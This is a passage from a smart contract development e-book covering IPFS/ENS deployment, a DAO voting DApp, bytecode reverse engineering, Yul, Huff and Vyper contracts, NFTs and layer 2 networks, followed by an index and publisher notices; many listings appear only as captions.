file to IPFS or Swarm. We’ll use IPFS in our example.
The last hash shown in Figure 19.3 is the hash of the dist
folder itself. With the ipfs ls
QmSGKPTuRdhsvQmz2KFMgsNfBFaoxPk6i57Sfc2ZkzJjWB command, you
can verify that all files of your DApp are published correctly.
Your DApp is now available at ipfs://QmS
GKPTuRdhsvQmz2KFMgsNfBFaoxPk6i57Sfc2ZkzJjWB. Since
this URL is not very user-friendly or human-readable, you
should register an ENS domain.
Figure 19.3 The output of the IPFS daemon while adding the frontend to
IPFS.
Figure 19.4 The ENS lookup can be used to check the availability of
domains.
Listing 19.13 The data required for the calculation of the commitment hash
for an ENS registration.
On the next screen, you can upload a profile picture and add
more data to your profile. However, keep in mind that the
data is stored publicly on the blockchain and can be seen by
everyone. This is why you can skip the process of creating a
profile. Figure 19.6 shows the profile information you can
add to your ENS domain.
Figure 19.7 The registration DApp guides you through the commit-and-
reveal procedure to register your ENS domain.
Figure 19.8 The form to add more records to your ENS domain.
At its core, each DAO can consist of many contracts that are
responsible for different tasks. A DAO should at least have a
governance contract that takes care of the management of
votes for proposals. Stakeholders of the DAO can then vote
for the different proposals and make decisions in a
decentralized manner. The governance contract is basically
a factory contract that deploys and manages instances of
the Vote contract. In this chapter, you’ll implement a small
DAO that can be used to manage votes for proposals. Thus,
the governance contract needs a function to initialize a new
proposal.
Listing 20.2 The createNewVote function deploys a new Vote contract based
on the given data.
In your test case, you should create a new Vote contract and
verify that the VoteCreated event is emitted correctly and that
the newly created Vote contract has all parameters
initialized correctly. Moreover, you can verify that the DAOTest
contract is the owner of the Vote contract. You can also verify
the OwnershipTransferred event if you like. Listing 20.5 shows
how to verify an event. First you must call the vm.expectEmit
function. In this case, we don’t know the future address of
the Vote contract, and thus, we can’t check the individual
topics. Thus, we pass four false values to vm.expectEmit.
Afterward, you must emit the event that you want to verify.
The expectEmit function will only check that any VoteCreated
event is emitted, ignoring the parameters. Afterward, call
the createNewVote function and verify that the Vote contract is
initialized as expected.
function test_createNewVote() public {
string memory proposal = "Example Proposal";
uint256 endtime = block.timestamp + 100000000000;
Listing 20.5 The test case verifies whether the createNewVote function
behaves as expected.
Listing 20.9 The part of the template used to create a new vote.
Listing 20.10 The part of the template used to list all existing votes.
The last part displays the selected vote, and since Vote is a
component, this part of the template is very short. To tell
the Vote component what to render, we need to define a
property in its script. You can inject this property via
:PROPERTY_NAME= as shown in Listing 20.11. We named the
property selectedVote.
<div v-if="selectedVote">
<Vote :selectedVote="selectedVote"></Vote>
</div>
Listing 20.11 The part of the template used to render an instance of a vote.
Listing 20.13 The connect function requests to connect with MetaMask and
loads the DAO contract.
If you now deploy the frontend via npm run dev, you can create
a new Vote, but you won’t see any votes in the list of
available votes. You still need to fill new votes into the votes
array, and thus, you must add some event listeners in the
connect function.
Listing 20.16 The queryFilter allows you to filter a contract for past events.
Now, you can run your DApp, create a Vote, and see it in the
list of available votes. However, if you click on one of the
buttons in the votes list, you won’t see anything about the
corresponding vote because we still must implement the
Vote.vue component.
This time, we’ll start again with the template. You can reuse
the template from the previous section, but we’ll simplify it
and remove the information about the connected address
and its balance. Listing 20.18 shows the simplified template.
<h1>Selected Vote</h1>
{{ selectedVote }}
<h3>The proposal is:</h3>
<div v-if="proposal" id="proposal">{{ proposal }}</div>
<div>
<button v-if="!hasVoted" type="button" @click="submitVote(true)">Yes
</button>
<button v-if="!hasVoted" type="button" @click="submitVote(false)">No
</button>
</div>
<div v-if="hasVoted" id="vote">You voted {{ vote }}</div>
You can’t reuse the exact script from the last section
because we are switching to ethers.js and need to add some
additional functions since Vote is now a component.
Listing 20.19 shows the required import statements and
variable declarations. The watch module of Vue allows you to
recognize whether a property has changed, and it can
trigger a re-rendering of the template. Instead of the DAO
contract, we need to import the JSON file of the Vote
contract. Via the defineProps function, you can declare the
properties of a component. In this case, we only must
specify the selectedVote property.
import { ethers } from "ethers";
import { watch, ref } from "vue";
import VOTE_JSON from '../../../out/Vote.sol/Vote.json';
Listing 20.20 The connect function loads the Vote contract and then the
proposal.
Listing 20.21 The watch function refreshes the component if another Vote is
selected, and submitVote calls the corresponding function of the Vote contract.
Listing 20.22 Displaying the value indicating the user has voted if they have
already voted.
Figure 20.1 shows how the DApp should look. On the left,
you can see that only the form is rendered if no votes have
been created yet. Fill in the form, create a vote, and confirm
the transaction in the MetaMask popup. As soon as the
transaction is mined, the first available vote will appear in
the list.
Now, open another tab in your browser and load your DApp
again. The available votes will contain the votes of the past
due to our event listener for past events (refer to
Listing 20.16). If you click on the button for the vote, the
component will be rendered, and you can decide if you
Vote
want to vote yes or no.
Figure 20.1 The DApp at the first visit (left) and after votes have been
created (right).
Listing 20.23 Subscribing to the new block event can be done via the
provider.
We’ll start with some basics and give you reasons to learn
reverse engineering, and then, we’ll show you how to
reverse engineer smart contracts manually. Sometimes, it’s
enough to disassemble contracts, which is why we’ll focus
on manual decompiling next. In some cases, you’ll only
need a contract ABI and won’t need to decompile the whole
contract, so we’ll give some tips on how to recover a
contract ABI from the bytecode. Finally, it’ll be time for
some automation, and so, we’ll present multiple tools that
can support your reverse engineering process.
Figure 21.1 The opcode view in Etherscan translates the bytecode into EVM
opcodes.
Now, all you must do is copy the opcode list from Etherscan
into column C. The formulas will then update your
spreadsheet, resulting in a list of positions in column A and a
list of opcodes in column C. You won’t need column B
anymore and can simply hide it. The positions in column A
are calculated via the opcode length. For example, the first
opcode, PUSH1, is placed at position 0. Since PUSH1 requires
one byte that is pushed onto the stack, the second opcode
will be placed at position 2. Some opcodes don’t expect a
following byte, and thus, they are followed by another
opcode. However, some opcodes can even require more
than one byte; an example is PUSH4, which expects four
bytes of data.
Since the positions in column A are represented as hex
values, you can easily find jump destinations. Before any
JUMPI opcode, the jump destination must be pushed onto the
stack. This is done via the PUSH2 opcode and the jump
destination in hex representation: PUSH2 0x0010. You can
simply search column A for position 10 (due to 0x0010) to find
the jump destination. At position 10, you’ll find the JUMPDEST
opcode. Now, you can easily follow the control flow of the
contract.
Listing 21.2 The opcodes check whether calldata is provided within the
transaction.
Listing 21.3 The contract will revert if no calldata is provided, and thus, the
contract has no fallback function.
1A PUSH1 0x00
1C CALLDATALOAD
1D PUSH1 0xe0
1F SHR
20 DUP1
21 PUSH4 0x25f11297
26 EQ
27 PUSH2 0x0046
2A JUMPI
Listing 21.4 The first four bytes of the calldata represent the function
selector, which is used to jump to the corresponding function.
Listing 21.5 The opcodes prepare the stack for executing a read-only
function based on the function selector.
Listing 21.6 The opcodes check whether the calldata is at least 32 bytes
long.
Listing 21.7 The opcodes load the provided calldata onto the stack.
Listing 21.9 The opcodes check whether the provided index in the calldata is
out of bounds.
Listing 21.10 The opcodes calculate the slot of the requested array index.
Listing 21.11 The opcodes prepare the value from storage to represent a
value of the address type.
Listing 21.12 The opcodes load the free memory pointer onto the stack.
Now that the free memory pointer is loaded, the stack can
be prepared to store the return value in memory. If you’re
reverse engineering unknown contracts, you won’t know at
this time whether it’s the return value or simply another
value that is stored in memory.
Let’s investigate Listing 21.13: the values 0x01, 0x01, and 0xa0
are again pushed onto the stack, and then, the SHL and SUB
opcodes are executed. We’ve already seen this sequence of
opcodes in Listing 21.11, where they were used to prepare
the data of the address. In this case, the same opcodes are
executed, so the opcodes perform the same operation
twice, which leads to increased gas costs. This part could,
therefore, be optimized at the bytecode level. Afterward, the
stack is prepared via DUP2 to store a value of the address type
in memory at offset 0x80.
Previous Stack Content: [0x80 addressOfVote 0x25f11297]
... is 0x25f11297
Listing 21.13 The opcodes prepare the return value and store it in memory.
Listing 21.14 The free memory pointer prepares the stack to return the
requested value.
If you like, you can continue this process with the other
functions available in the DAO contract. Moreover, you can go
through the Pomerantz tutorial
(https://ethereum.org/en/developers/tutorials/reverse-
engineering-a-contract/). Pomerantz doesn’t know the
source code of the used example contract, and thus, the
tutorial provides additional insights into reverse
engineering. Keep in mind that you won’t need to
understand everything at the beginning since some of the
values on the stack (like the values 0x0054 and 0x0059 in our
example) will be used later, during execution. Reverse
engineering also helps you become a better smart contract
developer due to the required detail-oriented work.
21.3 Manual Recovery of a Contract
ABI
To interact with smart contracts, you can either use the
contract ABI or send low-level transactions with encoded
input data. The use of ABIs makes the interaction very easy
and straightforward, but the ABIs are not stored on-chain,
and thus, you only have the bytecode available for
unpublished and unverified contracts. To interact with a
contract via low-level transactions, you need the function
selector as well as the number and type of function
parameters. Moreover, you should know the number and
type of return parameters to use the returned values
correctly.
If a contract is published and verified, you can find the ABI
on Etherscan and easily use it to interact with the contract.
Moreover, you can use the solc Solidity compiler via the
command solc --abi <PATH_TO_CONTRACT> to retrieve the ABI if
you have access to the contract’s source code. For more
details on the Solidity compiler, look at the documentation
at https://docs.soliditylang.org/en/latest/installing-
solidity.html. Visit https://etherscan.io, open any verified
contract, switch to the Contract tab, and scroll down to see
the Contract ABI section, as shown in Figure 21.2.
Etherscan offers you the ability to export the ABI or simply
copy and paste it, but if the contract wasn’t published and
verified on Etherscan, you can’t export its ABI.
Figure 21.2 The contract ABI can be found on Etherscan for published and
verified contracts.
Listing 21.18 If the bytecode does not revert if the calldata size is less than
four bytes, it can have a receive function.
Listing 21.19 The receive function can end with the opcode STOP.
Listing 21.20 The opcode sequence is used to ensure that no value is sent to
nonpayable functions.
Listing 21.21 The opcode sequence checks whether the provided calldata is
long enough to contain all parameters.
To determine the number of parameters, you can
investigate transactions sent to the contract with the
corresponding function selector. If the input data is always
the same size, the function parameters are most likely static
types. If the size always varies, the parameters contain
most likely at least one dynamic type. Sadly, we can’t
provide a standardized opcode sequence for different data
types, so you must investigate bytecode thoroughly to see
how calldata is used to deduce data types. You’ve already
seen an opcode sequence that’s used for the data type
address previously in Listing 21.11.
Figure 21.3 Example input data with encoded bytes or string parameters.
Figure 21.4 The Dedaub Security Suite provides many tools for reverse
engineering smart contracts.
// Data structures and variables inferred from the use of storage instructions
mapping (uint256 => uint256) _getVoteByAddress; // STORAGE[0x0]
uint256[] array_1; // STORAGE[0x1]
Listing 22.3 Another minimal Yul contract that can interact with input data.
object "SimpleMath" {
code {
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}
object "runtime" {
code {
switch shr(0xe0,calldataload(0))
case 0x771602f7 {
mstore(0x00,add(calldataload(0x04),calldataload(0x24)))
return(0,0x20)
}
case 0xb67d77c5 {
mstore(0x00,sub(calldataload(0x04),calldataload(0x24)))
return(0,0x20)
}
default {
revert(0,0)
}
}
}
}
code {
switch shr(0xe0,calldataload(0))
case 0x20965255 {
mstore(0x00, sload(0))
return(0,0x20)
}
case 0x55241077 {
sstore(0x00, calldataload(0x04))
}
default {
revert(0,0)
}
}
}
}
Listing 22.6 The bash script allows you to compile Yul contracts into
bytecode.
address deployedAddress;
vm.broadcast();
assembly {
deployedAddress := create(0, add(bytecode, 0x20), mload(bytecode))
}
}
}
Listing 22.7 The DeployerScript allows you to deploy the Yul contract.
address deployedAddress;
vm.broadcast();
assembly {
deployedAddress := create(0, add(bytecode, 0x20), mload(bytecode))
}
}
Listing 22.8 Additional function to use the JSON file generated via forge
build.
Listing 22.9 A test contract to test the Example contract, which simply adds
3 plus 5.
To execute your tests, you can use the forge test command,
but you need to specify the RPC URL or your tests will fail
due to the missing contract. The --rpc-url flag will create a
local fork of state and run the tests against it, and don’t
forget to specify the EVM version to match the specified
hard fork of your Anvil node. You can add the -vvvv flag to
get the verbose log of all traces. We used the following
command:
forge test -vvvv --evm-version cancun --rpc-url http://localhost:8545
Now, let’s test the Example2 contract: you can use the same
structure and setUp function, but we’ll change the
test_Contract function a little. The Example2 contract
distinguishes between empty input data and provided input
data, so we’ll start with staticcall, follow that with call with
input data, and finally trigger another staticcall to test
whether the counter was incremented. Look at Listing 22.10
to see the implementation.
function test_Contract() public {
(bool success, bytes memory data) = yulContract.staticcall("");
assertTrue(success);
assertEq(abi.decode(data, (uint256)), 0);
(success, data) = yulContract.call("INPUT");
assertTrue(success);
(success, data) = yulContract.staticcall("");
assertTrue(success);
assertEq(abi.decode(data, (uint256)), 1);
}
Listing 22.11 The ISimpleMath Solidity interface can be used to easily test
the SimpleMath Yul contract.
Listing 22.12 A test function with input parameter encoding to test the
SimpleMath contract.
Now, let’s repeat this process and define the
ISimpleValueStore interface, which declares the two setValue
and getValue functions of our SimpleValueStore. In Solidity, all
functions of an interface must be declared external.
Although Yul doesn’t support explicitly specifying the
visibility of functions, all functions that are defined in the
switch-case statement are compatible with the external
visibility of Solidity. Listing 22.13 shows the interface.
interface ISimpleValueStore {
function setValue(uint256) external;
function getValue() external view returns (uint256);
}
In your test file, you can import the contract YulDeployer via
the import statement shown in Listing 22.15. Then, you can
instantiate the YulDeployer and call the deployContract
function, which expects the name of the Yul contract, which
in turn must be available at the yul/NAME.yul path. The
function will then compile the contract, extract the
bytecode, and deploy the contract with Inline Assembly and
the CREATE opcode. To run the test case shown in
Listing 22.15, you must add the --ffi flag to the forge test
command. The flag is required to allow the ffi cheatcode,
which can execute bash commands. Via the cheatcode, the
YulDeployer can compile the Yul contract from within the
Foundry script.
import {YulDeployer} from "forge-yul/YulDeployer.sol"
label_one:
0x01 add
label_two:
0x02 add
label_three:
0x03 add
}
Listing 22.18 The storage variables can be declared, and the slot is assigned
via a utility function.
getValue:
GET_VALUE()
setValue:
SET_VALUE()
}
Listing 22.21 The MAIN function is used to orchestrate the contract in Huff.
Figure 22.1 The Output of the Huff compiler --label-indices flag shows all
jump labels.
Listing 22.22 The Foundry script uses HuffDeployer to deploy the Huff
contract.
@external
def __init__(_beneficiary: address, _auction_start: uint256, _bidding_time:
uint256):
self.beneficiary = _beneficiary
self.auctionStart = _auction_start
self.auctionEnd = self.auctionStart + _bidding_time
assert block.timestamp < self.auctionEnd
Listing 22.23 The state variables and constructor of a contract for auctions.
Listing 22.25 The withdraw function can be used to claim the lower bids
back.
Finally, the auction needs a function to end an auction, as
shown in Listing 22.26. The endAuction function checks
whether the auction has really ended and the amount hasn’t
already been paid out. After that, the highest bid is
transferred to the beneficiary, and the Boolean is set to true
so that the beneficiary can’t receive the highest bid multiple
times.
@public
def endAuction():
assert block.timestamp >= self.auctionEnd
assert not self.ended
self.ended = True
send(self.beneficiary, self.highestBid)
Listing 22.26 The endAuction function ends the auction and sends the
highest bid to the beneficiary.
@external
def setValue(_value: uint256):
self.value = _value
@external
def getValue() -> uint256:
return self.value
Listing 22.28 The script can be used to create the bytecode for a Vyper
contract.
Figure 22.2 The trace of our test case shows the gas costs of the different
calls in brackets.
If you’ve reached the end of this book, you are now able to
turn your knowledge into action and work on interesting
projects in the Web3 world. You can call yourself a smart
contract developer or use the latest buzzword: Web3
developer. But what should you focus on now? What
applications can you create, and what domains should you
consider?
We want to end this book with some ideas on how to use
your knowledge. We’ll talk about decentralized finance
(DeFi), non-fungible tokens (NFT), layer 2 solutions, and
other blockchain technologies.
23.1 Decentralized Finance
Decentralized finance (DeFi) has become one of the largest
use cases for Blockchain 2.0 and associated layer 2
solutions. DeFi is a growing ecosystem of financial
applications and services based on blockchain technology,
and it essentially aims to replace traditional financial
intermediaries such as banks with decentralized protocols
and smart contracts. This allows users to interact directly
with each other without relying on a central institution.
You can upload the image of your NFT and provide some
metadata, like the name, the supply, a description, an
external link, and some traits as shown in Figure 23.2. In
projects like CryptoKitties and CryptoPunks, all NFTs are
unique and thus have a supply of 1. However, other games
might have some NFTs that are supplied multiple times, like
weapons or armor. You can freely decide whatever fits your
use case. Click on the Create button to create the NFT, and
then, the minted NFTs will be available on OpenSea, and you
will be able to offer them for sale like the NFT at
https://opensea.io/assets/ethereum/0xb47e3cd837ddf8e4c5
7f05d70ab865de6e193bbb/1000.
Figure 23.2 OpenSea expects an external link to the NFT metadata and
allows you to specify traits.
The metadata exporter will create one JSON file for each
generated image. The JSON file is structured as shown in
Listing 23.6. The metadata includes some key value pairs
that are common for NFT marketplaces like OpenSea, and
some of them are specific pairs for NFTs generated with
HashLips Art Engine, like the key-value pair generator.
However, the additional fields would be ignored by
marketplaces. As you can see in Listing 23.6, the key-value
pair image contains an InterPlanetary File System (IPFS) URI
with a placeholder in it. We’ll explain later how to replace
the placeholder correctly.
{
"description": "This is a token with \"Orange\" as Background",
"image": "ipfs://__CID__/e0d22279e5dba509ec1dc370c41f709bef82ef0f.png",
"name": "Ape 1",
"dna": "e0d22279e5dba509ec1dc370c41f709bef82ef0f",
"uid": "1",
"generator": "HashLips Lab AE 2.0",
"attributes": [{
"trait_type": "Background",
"value": "Orange"
},[...]
]
}
Additional Exporters
Let’s run the node index.js command to create your first NFT
collection. If the command is finished, you’ll see two output
directories: cache and output. The output folder contains
the NFT images and the corresponding NFT metadata as
JSON files. Look at the generated images and delete the
output folder. If the cache folder exists, the same images
will be generated when rerunning the command. The
generation is based on a seed that is stored at
cache/_seed.json.
23.3.1 Arbitrum
Arbitrum was one of the first layer 2 solutions for Ethereum.
It was made by Offchain Labs in 2019 and went live in
October 2020 after an intense period of testing. Arbitrum
now consists of several individual projects. As a layer 2
solution, Arbitrum offers its users the functionality of
Ethereum, but through the optimistic rollups already
described in Chapter 3, it offers that functionality at much
cheaper transaction fees and much faster. This fact makes
many DApps possible in the first place, as operating natively
on Ethereum would not be lucrative. Arbitrum is built on top
of its Nitro Tech Stack, which itself is a fork of the Ethereum
Geth client. Due to the close connection to Ethereum, the
classic Ethereum wallets, libraries, and tools can also be
used with Arbitrum.
23.3.2 Optimism
As the name implies, the Optimism project uses optimistic
rollups to communicate with Ethereum layer 1. As a tech
stack, Optimism uses its OP stack, which is also based on
the Geth client. The OP stack consists of various software
components that enable users to deploy their own
blockchains at layer 2 or higher. The OP stack itself is also
divided into different layers, such as the data availability
layer (in which Ethereum is located), the execution layer
(with the EVM), and the settlement layer (on which the
consensus is formed in the form of attestations). The stack
is to be seen as a blueprint, and users can either use the
preassigned modules within the layers or develop their own
modules and fill the layers with them. This approach is
called modular blockchain theory.
23.4.1 Solana
Solana is one of the most successful blockchain projects.
After the project was first presented in 2017, it went live in
June 2021. Like Ethereum, the platform is designed for the
development and execution of smart contracts and thus the
realization of Web3 applications. Solana enters with the goal
of enabling mass adoption, and in doing so, they value
cheap and fast transactions that nevertheless take place in
a network that values high decentralization. As a consensus
mechanism, Solana uses proof-of-stake (PoS). Despite its
similarity to Ethereum, Solana has some differences in
architecture.
↓A ↓B ↓C ↓D ↓E ↓F ↓G ↓H ↓I ↓J ↓K ↓L ↓M ↓N
↓O ↓P ↓Q ↓R ↓S ↓T ↓U ↓V ↓W ↓X ↓Y ↓Z
A⇑
abi.decode [→ Section 17.8]
B⇑
Balances [→ Section 7.1] [→ Section 7.2]
initial [→ Section 8.6]
locking [→ Section 8.3]
C⇑
Caesar cipher [→ Section 2.1]
D⇑
Danksharding [→ Section 3.4]
dappKit [→ Section 20.6]
E⇑
EC.keyPair method [→ Section 8.1]
F⇑
Facet [→ Section 18.5]
Factory contract [→ Section 20.1]
Function
dispatcher [→ Section 21.3]
overload [→ Section 11.5]
types [→ Section 11.3]
function keyword [→ Section 11.2]
Function selector [→ Section 11.5] [→ Section 12.3]
[→ Section 15.2] [→ Section 21.2] [→ Section 21.3]
[→ Section 22.1]
optimization [→ Section 14.5]
Functional style [→ Section 12.2]
G⇑
Ganache [→ Section 10.2] [→ Section 10.2]
H⇑
Hard fork [→ Section 1.2]
I⇑
Inactivity leak [→ Section 2.4] [→ Section 3.3]
J⇑
Jersey Container Servlet Framework [→ Section 5.1]
K⇑
Kate-Zaverucha-Goldberg (KZG) [→ Section 3.4]
Keccak256 [→ Section 2.1] [→ Section 9.5] [→ Section
12.3] [→ Section 14.3] [→ Section 21.2]
L⇑
Layer 2 solutions [→ Section 2.2] [→ Section 3.4]
[→ Section 23.3]
M⇑
Macros [→ Section 22.2]
N⇑
Namecoin [→ Section 1.2]
O⇑
Object-oriented programming (OOP) [→ Section 9.4]
versus COP [→ Section 9.4]
P⇑
PancakeSwap [→ Section 23.1]
Panic error [→ Section 12.3]
Q⇑
QuickNode [→ Section 16.3] [→ Section 18.2]
R⇑
Race attack [→ Section 2.4]
S⇑
SafeMath [→ Section 11.6] [→ Section 15.2]
Signing
messages [→ Section 20.3]
transactions [→ Section 8.1]
U⇑
uint [→ Section 11.2] [→ Section 11.3]
V⇑
Validator [→ Section 2.3] [→ Section 3.3]
slashing [→ Section 3.2] [→ Section 3.3]
Value type [→ Section 11.3]
Vanity address [→ Section 14.5]
W⇑
Waku [→ Section 19.1]
X⇑
XRP [→ Section 23.5]
Y⇑
yarn [→ Section 10.2]
Yield farming [→ Section 23.1]
Z⇑
Zero slot [→ Section 12.3]
Zero-knowledge rollup [→ Section 3.4]
Service Pages
Supplements
If there are supplements available (sample code, exercise
materials, lists, and so on), they will be provided in your
online library and on the web catalog page for this book. You
can directly navigate to this page using the following link:
https://www.rheinwerk-computing.com/5800. Should we
learn about typos that alter the meaning or content errors,
we will provide a list with corrections there, too.
Technical Issues
If you experience technical issues with your e-book or e-
book account at Rheinwerk Computing, please feel free to
contact our reader service: support@rheinwerk-
publishing.com.
Copyright Note
This publication is protected by copyright in its entirety. All
usage and exploitation rights are reserved by the author
and Rheinwerk Publishing; in particular the right of
reproduction and the right of distribution, be it in printed or
electronic form.
© 2024 by Rheinwerk Publishing Inc., Boston (MA)
Digital Watermark
This e-book copy contains a digital watermark, a
signature that indicates which person may use this copy.
If you, dear reader, are not this person, you are violating the
copyright. So please refrain from using this e-book and
inform us about this violation. A brief email to
[email protected] is sufficient. Thank you!
Trademarks
The common names, trade names, descriptions of goods,
and so on used in this publication may be trademarks
without special identification and subject to legal
regulations as such.